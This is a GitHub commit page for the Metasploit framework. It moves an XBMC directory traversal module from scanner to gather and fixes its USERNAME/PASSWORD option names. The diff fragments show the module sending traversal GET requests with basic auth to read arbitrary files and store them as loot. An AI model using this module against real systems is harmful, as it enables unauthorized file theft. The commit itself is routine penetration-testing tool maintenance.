Skip to content

Commit 67c2c3d

Browse files
committed
Code Review Feedback
Fixed the USER/PASS that I missed in last review Converted from Scanner module to Gather
1 parent b4f002d commit 67c2c3d

File tree

1 file changed

+3
-4
lines changed

1 file changed

+3
-4
lines changed

modules/auxiliary/scanner/http/xbmc_traversal.rb renamed to modules/auxiliary/gather/xbmc_traversal.rb

Lines changed: 3 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,6 @@ class Metasploit3 < Msf::Auxiliary
1111

1212
include Msf::Auxiliary::Report
1313
include Msf::Exploit::Remote::HttpClient
14-
include Msf::Auxiliary::Scanner
1514

1615
def initialize(info={})
1716
super(update_info(info,
@@ -46,7 +45,7 @@ def initialize(info={})
4645
], self.class)
4746
end
4847

49-
def run_host(ip)
48+
def run
5049
# No point to continue if no filename is specified
5150
if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
5251
print_error("Please supply the name of the file you want to download")
@@ -58,7 +57,7 @@ def run_host(ip)
5857
res = send_request_raw({
5958
'method' => 'GET',
6059
'uri' => "/#{traversal}/#{datastore['FILEPATH']}",
61-
'basic_auth' => "#{datastore['USER']}:#{datastore['PASS']}"
60+
'basic_auth' => "#{datastore['USERNAME']}:#{datastore['PASSWORD']}"
6261
}, 25)
6362

6463
# Show data if needed
@@ -70,7 +69,7 @@ def run_host(ip)
7069
path = store_loot(
7170
'xbmc.http',
7271
'application/octet-stream',
73-
ip,
72+
datastore['RHOST'],
7473
res.body,
7574
fname
7675
)

0 commit comments

Comments
 (0)